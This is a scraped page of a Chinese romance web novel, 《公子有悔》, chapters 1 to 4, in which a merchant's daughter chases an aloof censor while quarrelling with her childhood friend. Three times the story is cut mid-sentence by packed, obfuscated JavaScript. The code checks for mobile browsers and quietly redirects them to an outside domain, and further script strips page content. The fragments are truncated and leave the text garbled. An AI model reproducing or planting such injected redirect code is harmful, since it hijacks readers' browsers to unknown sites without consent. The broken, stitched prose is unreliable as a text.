《公子有悔》 1. 陆二哥哥 芒岁急匆匆进了院子，对秋千架上逗猫的宋知意说：“姑娘，打听到了，一会儿小陆大人就进城了！” 宋知意喜得直站起来，才抱着的狸花猫也通人性有眼色，跳到地上伸个懒腰跑走了。宋知意忙忙转身回屋子，边交代：“快，给我好好梳妆打扮，我好去接陆二哥哥。” 芒岁亦步亦趋，面子上倒有些难为情：“小陆大人先要入宫面见圣上，不知道多早晚才出来，姑娘不必如此心急……” 宋知意直接坐到梳妆凳上，对镜自顾，口头上颇不以为意：“没关系，我去陆家等他就是，我等得起的。” 宋知意拿定的主意，别人从来是劝不动的，芒岁便点点头，替她收拾打扮起来。 宋家和陆家，在一条街上住着，隔得不远，步行即可，于是宋知意带着芒岁出门。半道上碰见她父亲宋平，宋平叫住她问：“如意，你这风风火火的，打算去哪？”如意是她的小名。 宋知意如实相告。 宋平笑眯眯道：“那敢情好，就是别空着手去。”说时令下人去书房里取了一早备好的灰鼠毫笔，装在一个窄长锦匣子里，“陆二公子爱好文墨的，定使得上。如意，你带上，届时赠予他。” 宋知意欢欢喜喜接了，同他挥手告别。 不多时，陆府的烫金牌匾映入眼帘，一块照进眼底的还有一蜜合色纤弱背影，宋知意顿时认出来，垮了脸道：“真是不巧，偏撞上了她。” 她所指的，乃是陆二公子陆晏清的表妹崔璎，从小没了父母，这些年寄住在陆家，深受陆家人照料，当然，更得陆晏清的照拂。 这崔璎，身子瘦弱，性子也文弱，逢人做事温温柔柔，跟张扬跋扈的宋知意简直天差地别。人们都爱女孩子文静娴雅，自然欢迎崔璎，疏远宋知意，背地里总拿她们俩对比，说是对比，其实是褒前贬后。为此，宋知意对她也颇有些看不顺眼。 崔璎的贴身婢女绘柳望见不远处的宋知意，抿一抿嘴，低声说：“姑娘，那宋家姑娘又来了。” 一个“又”字，表明绘柳烦透了宋知意，同时点出宋知意隔三差五往陆府打扰的事迹——她喜欢陆晏清，陆晏清则屡次三番表示对她无意，她置若罔闻，依然固执己见，日日缠着他。这一个月他奉旨南下查案，陆府门前才清净了些。刚消停几日，又找上门来了，能不叫人眼乱心烦么？ 崔璎会意，回身盈盈走过去，含笑道：“想必宋姐姐也是听说了表兄今日回京，前来探望的吧？可表兄现在宫里，不知何时完事……” 宋知意板着脸说：“那没事，我进去等。” 崔璎本意是劝她离开，岂料她全不在乎，便没了法子，笑说：“那宋姐姐请随我来吧。” 宋知意反驳：“不用，我去陆大嫂嫂那坐一坐。” 陆晏清头上有个哥哥，名陆晏时，任松山书院的山长，秉性温润儒雅，同其妻周氏青梅竹马，至今成婚十年，育有一子一女，感情和睦，夫妻恩爱。 周氏性格爽朗，不似旁人厌恶宋知意，反而对她亲切有加。两人处得胜似亲姐妹。 遭她呛了，崔璎有点尴尬，噤声目视她朝周氏的住处去了。 绘柳为主鸣不平：“也不知她神气什么，还当这地方是宋家，由着她胡作非为啊。” 崔璎制止她：“行了，姨母恐怕等不耐烦了，快走吧。” 且说宋知意一路来至东跨院，看见廊下周氏坐着个小杌子，牵着女儿给扎辫子呢。“陆大嫂嫂。” 瞧是她，周氏也不急，双手只管辫子，眼神带笑道：“算着你也该来了，这就来了。” 就着丫鬟搬来的小凳子坐定，宋知意笑嘻嘻道：“陆二哥哥好不容易回来，我当然操着心，不能误了。也不晓得皇上几时才肯放他出来。” 言下，辫子编完，周氏摸平女儿头顶的碎发，轻推她随便去玩，继而说：“你就是猴急，左不过天黑前指定回家。你既来了，晚上留下吃饭吧，有什么想说的想送的，饭后你跟二弟私下了结。” 宋知意正是这心思。 陆晏清比预料的早回来，宋知意迫不及待迎出府门，目之所及尽是一袭墨绿官服随风翻飞的画面，一时竟痴了。 春来擎着一顶官帽，乜斜窥视陆晏清的神色，发觉其剑眉微皱，俨然疲惫中夹着一丝嫌恶，又见其侧开脚步，绕过宋知意上了石阶。春来不敢多言，俯首追随。 “陆二哥哥！”分别一月，总算见着朝思暮想之人，宋知意岂容他从自己眼皮子底下溜了，扭头快步追上。 陆晏清步伐未停，走得很快，宋知意要小跑着方不落后。 “我与宋姑娘非亲非故，麻烦宋姑娘今后不要再那样唤我了。”她的热切，他视若无睹。 她充耳不闻，反问：“陆二哥哥，你离京这段日子，累不累啊？有没有生病？没受伤吧？” 他目不斜视，不予理睬。 她不为冷落所挫败，捧出临出门前宋平交给她的毛笔，道：“陆二哥哥，这里面是上好的毛笔，你打开看看，合不合心意。” 他仍旧不理会。 她沉不住气，往前横跨一大步，挡在他身前，托高那锦匣，下巴亦仰起来，半是撒娇半是讨好道：“陆二哥哥，你就看一看，好不好？” 陆晏清就是烦她摆着一副娇憨面容却三番五次胡搅蛮缠，然启齿训她斥她，不合他的教养，遂冷冷道：“烦宋姑娘让开，家父家母在等我。” 宋知意不依不饶：“陆二哥哥，就看一眼，不耽搁什么的。” 她频频油盐不进的举止，终于把陆晏清惹恼了，没压着眼皮，沉声道：“宋姑娘，不要再唤我‘陆二哥哥’，我不喜欢。另外，我不缺笔，宋姑娘收回吧。” 认识几年来，他头一次做出如此阴沉的表情，宋知意略感茫然无措，举着匣子的手不上不下，僵在半空，适才灿烂的笑变了味，流露着尴尬：“既然陆二……你不喜欢，我改就是了。可是这笔，请你务必收下，是我爹的一番心意。” 闻得出自宋平之手，陆晏清越发抗拒。 宋平是什么人？商贾出身，京城数一数二的暴发户，仰仗着二十多年前为南边水患捐银子的功劳，在朝里挣了一官半职，经过之后的苦心钻营，现今也爬到了五品的位置。 这且不知足，自从其女对陆晏清表露好感开始，宋平趁势把如意算盘打到了他身上，三天两头借其女之手馈赠他各种东西，企图趁陆家之势，更上一层楼。 陆晏清作为御史台监察御史，监察文武百官，但碍于宋平老奸巨猾，每每通过宋知意传达好意，根本无伤大雅，实在拿他没办法，唯好铁面无私，直言拒绝。 似宋平之流，以刚正不阿闻名的陆晏清委实不屑一顾。 “承蒙好意，恕我不能收。”陆晏清终于抬腿走人，留下宋知意握着匣子，满心委屈。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533292|186434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 芒岁拣顺耳的安慰她：“姑娘别伤心，小陆大人在朝为官，又领着监察御史的重任，收送东西什么的最为敏感了，自然得谨慎些，以身作则。” 宋知意还能怎么想，想多了自己又难过不甘，只有听芒岁的，整理心情，随后去往陆家花厅，厚着脸皮蹭这场接风宴，继续和陆晏清套近乎。 陆家举家围坐，周氏同她要好，招手喊她坐自己身边。此位置，右手是崔璎，对面是墨色常服的陆晏清。 陆家老爷陆临及他夫人胡氏倒不算嫌弃宋知意，单觉得她一个女孩家，成日在外面抛头露面不大合适，至于她将中意陆晏清吵嚷得尽人皆知这事，他们也仅是感觉好笑，并不打算插手管，毕竟是年轻人之间的纠葛，如何处理、将来如何，陆晏清亦自有分寸。他们尊重他的意愿，兼而相信他的料理事务的能力。 大家举杯祝过酒后，崔璎又斟一盅，起身对陆晏清，娇俏道：“表兄，我单独敬你一杯，愿表兄来日身体康健，官运亨通。” 陆晏清神容淡淡的，站起来领了崔璎的祝福。 二人和谐的互动，尽入宋知意眼底，她闷闷不乐，接下来的一顿饭也吃得心堵。 结束以后，陆晏清还有精力，合计回书房阅览公文。崔璎眼尖，跟在后头出来，轻声叫住：“表兄。” 陆晏清果然站定。 崔璎摸出一个绣着竹子的锦囊，递出手去：“那会见表兄的扇坠子旧了，便趁这程子做了一个，希望表兄喜欢。” 陆晏清垂手昂立，并无去接的迹象。“那些小玩意，家里多的是，你犯不着专门受累的。” 崔璎嫣然一笑：“不累的，反正我每日也要做针黹，顺手的事。” 陆晏清道：“我那个扇坠子是故友所赠，意义不同，不好就换，表妹不若自己留着用吧。” 崔璎欲争取，他却步月走了。崔璎忽然觉得，那锦囊分外沉，分外冰，几乎要承托不住了。 “姑娘，夜深风凉，你体弱，禁不住吹的，回去吧。”绘柳心疼主子，进言规劝。 默默收起锦囊，崔璎点点头离开。 远处的抄手游廊下，周氏拉过宋知意的手，拍一拍，道：“宋妹妹，瞧你一晚上垂头丧气的，你想开些，横竖在我这，我是真心实意盼望你嫁到我们家的。” 宋知意勉生欢喜道：“多谢大嫂嫂站我这边。” 周氏和善回笑，亲自送她出角门，怕她和芒岁结伴回家不安全，又安排了马车一路护送。 车子上，宋知意郁郁道：“我叫他，他一下也不带停的，换成崔璎，他倒是耐心十足。” 芒岁不知如何开导，正思忖说辞，却又听她念叨：“如果他欣赏崔璎那样的，那……我照着学，他应当能多看我一眼了吧。” 芒岁懵懵懂懂道：“姑娘，你什么意思，我听不太明白……” 当下宋知意没解答，及回家后，见了宋平，破天荒提出要请教引嬷嬷到家学习礼仪，直惊得芒岁目瞪口呆，宋平也怀疑见了鬼，犹豫着没出声。 “爹，你没听错，我就是要学，不止要学，还要看书练字。”宋知意一脸笃定。 宋平一贯宠她，有什么要求总是第一时间答应，眼下耳闻这席言论，到底岔开话：“天晚了，你先回屋睡吧，改明儿再说。”末了吩咐芒岁伺候姑娘回房。 宋知意脑子乱乱的，姑且打消追究的念想，落寞离去。 2. 青梅竹马 翻来覆去想了一宿，宋知意坚定主意，晨妆时对芒岁说：“不入虎穴，焉得虎子。我决定了，我要改变。我偏不信了，我堂堂正正的，能叫那个崔璎比下去！” 她越说越亢奋，伸手猛拍桌，后边芒岁没防备，在她脑袋上捣鼓的手一闪，扯疼她头皮，这才令她镇定下来。 芒岁连声道歉，宋知意捂着头，盯着镜子里自己龇牙咧嘴的面容，没怪芒岁，反暗暗立誓：崔璎能办到的，我也可以，还能压她一头！ 折腾完妆发，宋知意风风火火去书房寻宋平，她知道宋平最近因病告假。 宋平正面对昨晚原样揣回的灰鼠毫笔发呆，而开门的动静霎时把他叫醒。他看着来势汹汹的女儿，说：“太阳打西边出来了，你这懒虫起这么早？” 宋知意不理会他的玩笑，径直到桌前，两手撑在桌沿，饱含认真地俯视他：“爹，我昨晚没傻，是严肃的，就给我请个嬷嬷来吧。” 宋平发福的脸布满狐疑：“如意，你长到今天十六岁，从没被谁约束过，真给你弄来了，你能受得了几天？快别说笑了。闲得慌的话，出去转转，或者等郡主家那小少爷来找你解闷。” 说曹操曹操到。 下人们点头哈腰让进一个十六七岁的少年，一身琥珀色肩袖锦袍，头戴一条双龙戏珠红抹额，头发高高束起，拢成马尾状，走路生风，身形飘逸。 “我说呢，去你院里没人，合着是钻这了。”讲话的就是宋平口中郡主家的小少爷，名叫薛景珩，今年十六岁，和宋知意从小玩到大的，是名副其实的青梅竹马。 宋平赶紧招呼人：“薛小少爷，你来得正好，快领这丫头上街透透风，省得胡思乱想，再闹出毛病来。” 宋知意矢口辩驳：“我哪里胡思乱想，我是正经的！爹，你怎么就不信呢？” “什么正经的，我就三天没来，你又想出什么花招了？”似往常般，薛景珩仗着身高优势，揉一揉她头顶，算是安抚。 才梳好的头发，又给他弄乱了，宋知意心里烦，举手打开他：“你不是被你母亲关在家里训话来着，你还敢出来？” 相当日，祥宁郡主眼见着儿子大了，却不学无术，没个正形，终日和宋知意厮混，郡主便狠一狠心，禁了他的足，勒令他此后将心思放在读书上，不许宋知意来往，不应就不解禁令。 读书可以，不同宋知意交往，断断不行。于是乎薛景珩以绝食为筹码跟郡主死磕到底。三天下来，终究是当母亲的心软，松了口。 记起过去三日的抗争，薛景珩笑笑：“你也不看我是谁？我母亲再厉害，也拗不过我去。” “得了吧，贫嘴贱舌的。”宋知意很是嫌弃道，随后推搡他出门，“我今日有要紧事，顾不上理你，你自个儿逍遥去吧。” 薛景珩不乐意，高高地拦在门口，挑眉嗤笑：“你有哪门子要紧事？再要紧要紧得过我？” 宋知意不留情地打了下他肩膀，没好气道：“你能不能不要添乱了？赶快躲开。” 薛景珩笑意不减，慢条斯理道：“你藏着掖着，我也知道——不就是陆晏清回来了，你昨儿又巴巴儿地到陆家露脸献殷勤了？结果怎么样，一准触霉头了吧？” 昨日的难堪被戳穿，宋知意面色铁青，眼风化作刀子，狠狠剜在他脸面上。“薛云驰，你够了，当心我撕烂你的嘴！”云驰是他的表字，她习惯带上姓称他表字。 薛景珩满不在乎，眼睛瞄准她叉腰的手腕，一把掐住，扯人往外走，一面告别宋平：“宋叔，我带她出去散心，晚饭前送回来，你放心。” 宋平笑眯眯目送。 薛景珩一直把人塞上马车，自己随即拨帘子入内坐稳，看她气得面红耳赤，摇开手里的折扇，照着她微微扇风，一边好脾气哄着：“刚才是我不对，今儿我请客，去会云楼大餐一顿，再去万宝阁挑你想买的，不论多少，我钱管够。可以消气了不？” 宋知意翻个白眼：“你们郡主府财大气粗，我们家虽不及你们，却也不缺那些钱。你让停车，我要回家去。” 薛景珩非但不顺着她，而且命令车夫再赶快些。 “你这人，有病是不是？”车子驱得似疾风，整个车身摇摇晃晃，宋知意不得不扒紧车窗，保持平衡。 薛景珩一张俊脸上满是得意，很是欠揍：“我没病，是你有病——为一个眼里始终看不见你的男人伏低做小，处处作践自己。我就想不通了，那陆晏清除了人样出彩些、脑子灵光些，哪一处比我强？弄得你好几年五迷三道的，更是理直气壮地见色忘友。” 车内颠簸，宋知意脸色难看，好似快吐了，薛景珩转而交代车夫慢行。 靠在角落里缓了缓，宋知意说：“你懂什么？他很好，好得不得了。” 薛景珩调转折扇，朝着自己扇，目色不屑：“究竟哪里好，你说说看。” 宋知意当真掰着指头细数起陆晏清的优点来，诸如工作能力强、待人接物优雅之类的。 “停。”薛景珩打断她，“这些全是空的，不做数。你倒说说，他待你好在哪里？” 宋知意垂眸，半晌方道：“十岁那年，我背着人上树玩，下树的时候不慎滑了一下，崴了脚，凑巧他路过，他亲自扶我去一边石头上坐着，给我轻轻揉脚，然后叫他的小厮回家去取伤药，后来还答应替我保守秘密。” 薛景珩嘲笑：“光揉个脚送个药，值得你记这么些年？那我从小到大替你收拾多少烂摊子，怎的不见你对我感恩戴德？” “不止这个。”宋知意辩解，“你也晓得，别人都看不起我们家的商人背景，总有闲言碎语的，也是十岁那年，我气愤不过，逮着嚼舌根子的哪几个人理论，他们人多势众，我吵不过，他们呢，嫌我事多，谋划着打我一顿，是陆二哥哥撞见，及时制止，为我说话，教育他们。他们不敢招惹他，灰溜溜散了。我呢，越想越来气，没出息地哭了，也是他看见，予我他随身的帕子叫我擦泪，还安慰我不要因为那些不好的人哭鼻子……” 那个傍晚，微风不燥，余辉柔和，萦绕在耳畔的话语温暖似春水，沁人心脾，她至今历历在目。少女情思，即是从那时起萌发的。 薛景珩忽然凑近，直直地盯着她坠入记忆长河的眼，道：“我也帮你挡了大大小小的灾祸，你怎么不多想想我呢？啧，宋如意，你真没良心。” 宋知意伸手推他起开：“别贫了，你跟他不一样，老比什么。” 薛景珩顺势坐回去，揭开窗帘一角瞅瞅，会云楼近在眼前。“到地方了，下吧。” 他先行一步，在路边接住宋知意的小臂，有心扶她，架不住她不承情，撇开他，无视他，自行着地。 二人一前一后进了酒楼。小二远远瞭见这对常客，笑嘻嘻引去二楼雅间。 薛景珩出手阔绰，点了一桌子菜，两人吃饱喝足，歇够了，就上街游逛。薛景珩时不时问她要不要这个那个，即便她不感兴趣，他也买下来，近万宝阁前时，他小厮文进两只手拎着大包小包，累出一脑门子的汗。 “逛挺久，我觉得乏了，顺路送我回家吧。”宋知意心下仍然惦记请教引嬷嬷那茬子。 “来都来了，不买点，岂不亏了？”薛景珩不由她，拉她进去。 恰巧，快入夏了，周氏、崔璎陪伴陆夫人前来万宝阁挑选裁制夏衣的料子，现下聚在二楼慢慢逛呢。 耳边隐隐传来一阵嬉笑拌嘴声，崔璎不禁侧目而视，只见宋知意上楼来，背后跟着一个玉面长身公子哥儿，两人脸颊上轻松含笑。 崔璎认得那薛景珩，常听说他整日不带烦地围着宋知意转圈，对其他人视而不见，如今算是亲眼目睹了。 崔璎对周氏说：“嫂嫂，你瞧，宋姐姐和薛小少爷也过来了，赶巧了。” 周氏探出半个身子，果真和漫无目的闲看的宋如意对上视线，忙招手呼唤：“宋妹妹，快来。” 宋知意加紧步调而来，亲昵挽上周氏的胳膊，和她们打招呼。 “好你个宋如意，别人唤一声，跟个兔子似的一眨眼就没人了。”薛景珩追来，幽怨道。 出于礼貌，崔璎冲他点点示意：“薛小少爷。” 薛景珩回以颔首，自然立于宋知意身侧，说：“你东西还没挑呢，天儿快黑了，抓紧吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533293|186434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 宋知意说：“我本就没哪样想要的，你别等我了，反正我和陆大嫂嫂她们顺路，过会嫂嫂她们捎我一程，你自个儿走就成。” 这块的绫罗绸缎，不对陆夫人心思，陆夫人便去另一头展眼观望了。崔璎自知宋知意不待见她，留着无益，随陆夫人同行，帮着参谋。 薛景珩气笑了：“你数数，一个白天下来，你撵我几次了。出来之前，我和宋叔保证过，平平安安送你到家，我半路撤了，像什么话。” 周氏早有耳闻这薛、宋交情匪浅，又见薛景珩颇具怨念，而归根结底是他们俩共同出来的，有个先来后到，自己半道截了宋知意未免不厚道，于是乎笑说：“宋妹妹，这也是个理，况且我们这肯定是迟了，你不妨仍同薛小少爷一起。” 话音刚落，楼下忽起骚乱，个个儿抱头鼠窜，尖叫呐喊。 “这是怎么了？”宋知意怔怔然，倒是薛景珩警觉，反应快，先擒着她胳膊带到自己身边，再护着周氏往里面走，跟陆夫人崔璎回合，接下来叮嘱文进打起十二分精神看护众人周全，他则下楼一探究竟——文进身手不凡，可以一打十，安他在此，薛景珩放心。 “薛云驰！”底下喊叫持续，宋知意忐忑不安，抓住他袖子。 “你好好和大家待着，千万别乱跑，我快去快回。”薛景珩声音沉着。 “那……那你不可鲁莽，一定小心行事。” “记下了。” 试探着下了楼，却见右手边一排货柜前，一个五短身材、头发凌乱的男人举刀挟持一个妇人，他前面围堵着官兵，厉声喝他勿做傻事，速速放人。 “你们退出去，准备好车马，我安全离了城，就放了她。否则——”那男人收紧环在妇人脖子上的胳膊，将刀尖向妇人项见逼近半寸，凶神恶煞一样，“老子和她同归于尽！” 一时，气氛僵持不下。 剑拔弩张之下，几个官兵簇拥进一个绯衣男子，正是陆晏清。一炷香前，他结束手头公务，自御史台归家，途经万宝阁，发觉异样，得知是一个贼，为躲避官兵追捕，钻到万宝阁里藏身，后见行踪暴露，干脆破罐子破摔，挟持人质以求脱身。 那贼气焰嚣张，把个人质勒得面皮紫胀。见状，陆晏清二话没有，抽出随身匕首，抛掷出手，直刺中那贼左膀子。 一套动作，行云流水，干净利落，势如破竹。 那贼受痛，遭不住分了心神，众官兵趁机一拥而上，将其擒获，解救人质。 那厢薛景珩看骚乱平息，陆晏清掸掸衣袍，看样子是预备离开，故出声叫住。 陆晏清认识他，也对他与宋知意的关系有几分了解，思绪一动，对其意图有了猜测，负手昂扬站立，等待下文。 “陆大人是个聪明人，那我就开门见山了。”薛景珩小他三岁，个头却跟他相当，往日嬉皮笑脸的劲气收敛完全，仅余下严肃，气势上真不输他陆晏清，“宋知意那丫头倔，这几年给大人添了不少麻烦，我代她给大人赔个不是。此乃其一。其二，大人固然不喜她，冷淡她也属于快刀斩乱麻，但请不要看不起她，她父亲是她父亲，她是她。那丫头对着人没心没肺的，实际上心思弯弯绕绕的，总是偷偷地猜疑，完了省不了感伤。” 叫人劈头盖脸地教育，且是第一次，更休提对方是个毛头小子。陆晏清罕见地生出一丝不爽来，唇畔勾起浅显的笑，反问：“薛小少爷如此维护宋姑娘，是喜欢她么？” 薛景珩沉默以对。 “那看来我说中了。”陆晏清冷了脸色，口风一转：“你既心悦她，就应当说服她自尊自爱，而非对我颐指气使。我想，我对她已然仁至义尽了。” 听他堂而皇之斥责宋知意不懂自尊自爱，薛景珩怒从心头起，作势就要揍他。 “薛云驰，你要干嘛？！”话说宋知意在楼上左等右等不见薛景珩的面儿，而底下的吵闹归于平静，再忍不了，忙忙下来寻人，恰恰碰上他和陆晏清交恶的一幕，急急冲上前阻拦。 不愿让她难做人，薛景珩硬生生压下恶气，不顾她的满腔留恋，当即拽她跟陆晏清擦身而过，洋洋洒洒远去。 3. 嬷嬷授课 薛景珩脸面黑压压的，一言不发，明显动真格了，宋知意识趣，任凭他将自己摆布到车子上，赔笑道：“你怎么了，还好……吧？” 薛景珩捏着拳头搁在膝盖上，掀起眼帘瞥了她一瞥，仍旧静默。 吃了瘪，宋知意略感尴尬，沉思片刻，继续说：“你跟陆二哥哥起什么冲突了，那样大动干戈？” 薛景珩垂头不语。 薛景珩平日话很密，鲜少有闷不吭声的时候，可他生气归生气，总得有个因由吧？挑明白了，人也有安慰他的点，不明不白的，算怎么回事。宋知意也不跟他打哑谜了，冷笑道：“你是冲我来呢？那你说说清楚，我哪里讨你嫌了？” “我若坦白，你确定你承受得起？”薛景珩终于放弃缄默，举目正视她。 “再有什么，还能有你差点把拳头砸到陆二哥哥脸上去厉害？”宋知意硬气回怼。 “满口陆二哥哥，你是真的没救了！”记起当时陆晏清傲然一切的模样，再瞧瞧她毫无底线维护陆二的光景，薛景珩忍无可忍，音量立刻拔高几度。 “你说话就说话，吼什么？”宋知意没带怕的，柳眉倒悬，杏目圆睁。 “……宋知意，你眼瞎心盲，真是蠢到头了。”要把陆二那番话抖露出去，宋知意势必无法接受，她气性大，眼下在车上，莽撞起来保不齐直接跳车，薛景珩决计不能看她磕着碰着，更不忍心她伤心难过，想了又想，手指头紧了又紧，终归容忍下来，抱着胳膊，头倚靠在内壁上，侧过脸，不痛不痒损了她几句作罢。 既他存心作怪，宋知意也免了讨好之心，转脸无言。 车于宋家门前徐徐站停，以过去，薛景珩必定先跳下去回头搀扶她，今儿却没有，连分别之语一并省了，死气沉沉注视她摔帘子出去。 气哄哄回闺房，宋平差下人来叫吃晚膳，宋知意头闷在被子里回道中午吃撑了，不饿，下人如实传话，宋平便没计较，横竖芒岁厨艺也不赖，她若半夜饿了寻觅吃食，芒岁会伺候妥善的。 肚子里装着火气，宋知意翻腾大半夜，快四更天才勉强入睡。隔日果然日上三竿才睡醒起来。 宋平销假去衙门了，偌大的宋宅，无人管她。 论起来她也可怜，宋夫人生下她害了病，没俩月就撒手人寰了，宋平怜她小小年纪没了母亲，毅然决定不再续弦，生怕遇上厉害的后母作威作福，娇生惯养到如今。 外面人多鄙夷宋平奸诈狡猾，唯独就他待女儿这事上，无人挑嘴，纷纷说他丢掉的良心全使在女儿身上了。 昨日和薛景珩闹了别扭，心里不舒坦，也懒得动弹，就在家里老实呆着。 晚间宋平回来，父女俩一块吃饭时，宋平主动提起一个消息：“早晨下朝时，陆大人同我说，陆夫人打算从宫里请一位教引嬷嬷，专门教她外甥女以及平素来往亲厚的贵妇人家的姑娘们各种礼仪，也和皇后娘娘请示过了，这四五天就能安排妥帖。陆大人的意思是，咱们两家多年邻居，跟我提个醒，你有意愿过去的话，等定妥了就过去，毕竟是皇后娘娘恩典，机会难得。” 宋知意撇下筷子，眼中流光溢彩：“愿意，我一百个愿意！” 宋平本不舍得让她去宫里嬷嬷手底下受磋磨，但她百般乐意在前，到了陆家和陆晏清接触的机会多起来在后，胸中登时通透，欣然道：“你情愿，我依着你，可丑话说在前头：去了人家，到底不比自己家，把性子收着点，别给你爹我闯祸，陆家的门户，咱们得罪不起。” 宋知意拍着胸脯，信誓旦旦：“爹，你就款款地把心放肚子里，我指定安分，不给咱家里惹是生非。” 宋平笑逐颜开，宋知意跟着笑了。一时，饭厅里笑语连连，其乐融融，一派温馨。 宋知意盼着去陆家，才不是奔繁冗礼数的，在陆家能和陆晏清多多相处是主要目的，因此心内雀跃，白天盼，夜里盼，五日后黄昏，周氏的人造访，告知一切妥当，明日清晨去陆家西院报道。 得了准信，宋知意激动难耐，忙忙使唤芒岁翻出早就打点完的书包，里头是精心择选的笔墨纸砚，此外还有个布包，里头是些杂物：扇风凉快的扇子、饮水的杯子、描眉画眼的胭脂水粉小镜子，以及替换的香袋子——不似去学习，似去游玩的。 翌日，宋知意到了个早，周氏亲自领她去西院。略等了等，一块学的贵女们到齐。飞快扫了一遍，都是熟面孔，算上她自己和崔璎，一共六人。排好队，鱼贯而入厅内。 厅里陈设六张矮几，中间地上双手交叠站着个老嬷嬷，不苟言笑，简短地自我介绍是侍奉过太后娘娘的，姓何。随后令众人自己寻位子，跪坐。 其余人约好了似的，一股脑往前面坐，留给宋知意的是靠东边最后一个，紧挨着门。她不以为意，靠门透气，而且方便开小差，于是从从容容归坐。 何嬷嬷扫视大家，照惯例，先立规矩：“既然由我授课，那么我不管各位姑娘以前学过什么，又是怎么个法儿，今后一个月姑娘们就得听我的安排，照我的规矩办事；每七天考核一次，拔尖了没好处，但落后了要罚。各位姑娘可有异议？” 何嬷嬷授皇后之意出宫授课，轻慢不得，大家纵有疑问不满，也不敢表露，都摇头道没有。 “很好。”何嬷嬷点头，“今天第一堂课，不学旁的，只学插花。” 众人面面相觑，暗道不就是把花束插瓶里，样子摆顺眼些，有什么可学的，值得如此大费周章？ 宋知意谨记着宋平昨晚叮咛的，绝不发牢骚，绝不贸然出头，默默地观看下人逐一将花束花瓶呈上来，再侧耳听何嬷嬷的要求，随后沉吟着动手摆布起来。 崔璎坐她斜对面，一斜眼，正好看见她低头摆弄的认真相儿，心气十分不畅。 陆晏清仪表堂堂，才华横溢，多少人倾慕他，崔璎这个表妹也不例外。可恨别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋平道：“他不寻你，你就该抽空寻他。闹僵了不好。” 宋知意嫌他胳膊肘往外拐，直着眼说：“是我受了不明不白的冤屈，理应他向我低头道歉，依你的，竟反过来了。爹，你是明着偏心眼啊？” 从商人到五品官员，这些年宋平没少左右逢源，那薛景珩背后有个郡主娘，影响力非同一般，宋平难免有巴结奉承之意。 然则他不奢望更多的，但求撮合着两家小辈维持现阶的友谊，至于自家姑娘的终身大事，他打心眼里更加看好陆家。 宋平笑道：“薛小少爷对你对咱们家是顶顶用心的，有这份情谊，这次且让着他又有什么大不了的。如意，别犟了，改日或是去郡主家拜访，或是约他来家吃顿便饭，把话说开了，以后你们俩依然是好朋友。” 宋知意敷衍过去，埋头吃干净碗里的饭菜，漱口洗手毕，自回屋小憩了。 4. 廊下对话 下午是烹茶课，宋知意很不擅长，动作笨拙，不算意外地出了大差错：打翻了茶杯，手背还给烫着了，红肿了一片。 何嬷嬷忙暂停她的课，许她养利索了再来。 手上烧疼，心里颓丧，出了西院，宋知意没忍住抽泣起来。芒岁左劝右哄，不顶用，抱着她的两个包和上午插的一瓶花，愁眉苦脸，唉声叹气。 游廊对面，春来跟随陆晏清稳步过来。见宋知意在那抹泪，春来不由咦了声，纳罕道：“宋姑娘好像是哭呢，她哭什么呢？” 众所周知，宋知意没脸没皮、没心没肺，摊上天大的事也乐观开朗，从小到大，没哭过几回。 陆晏清耳闻目睹，并不在意，挺胸抬头自她身侧走过，却被她牵住了衣角。 “陆二……哥哥，你……今天回来得……好早……”她抽噎得说一句话顿几顿，再配上那红通通的眼眶，想必是伤心极了。 陆晏清这才留意见她肿胀的手背，皮肤上鼓起一串燎泡，不禁蹙眉道：“宋姑娘这是伤着了？” 春来也跟着落下目光，伤势倒没多重，这是拿他一样皮糙肉厚的下人来说的，换成宋知意一个娇小姐，肯定痛死了。 陆晏清难得的关切，犹如催泪剂，作用在宋知意的面目，泪如雨下，满脸莹润。 陆晏清以为她是疼得紧，哭个不休，何尝料想她是因自己一句寻常的问候而感动万分。 “春来，”老这么哭不成体统，陆晏清转头使唤春来，“去我书房，取金疮药来。” 他在朝为一介文官，可不妨碍他精通骑射，每日上朝前都要去后院练一个时辰，风雨无阻。他有习武的习惯，身体磕碰自然难免，鉴于此，手头一直预备着金疮药。 春来答应着连忙去。 宋知意眼泪汪汪道：“取金疮药……做什么，给我吗？” 陆晏清最看不得人家哭，何况她哭得涕泪横流，模样凄凄惨惨，别人见了倒误会是他欺负了她，便叫芒岁拿手帕给她擦擦。芒岁两手全占满了，腾不出手去抽帕子，委实有心无力。陆晏清气息一沉，勉为其难取了自己随身的手帕，递到她面前，说：“先把脸擦干净吧。” 啜泣戛然而止宋知意呆呆道：“这也是……给我的吗？” “是。”陆晏清坦然道，“金疮药给你，帕子也给你。所以，别哭了。” 春来急促的脚步飞入耳内，宋知意悻悻地接了手帕子，端详见上面绣着一朵小小的君子兰——陆晏清偏爱此花。默默将它叠方正，托于掌心，她抬起胳膊，用袖子胡乱揩了揩泪痕。 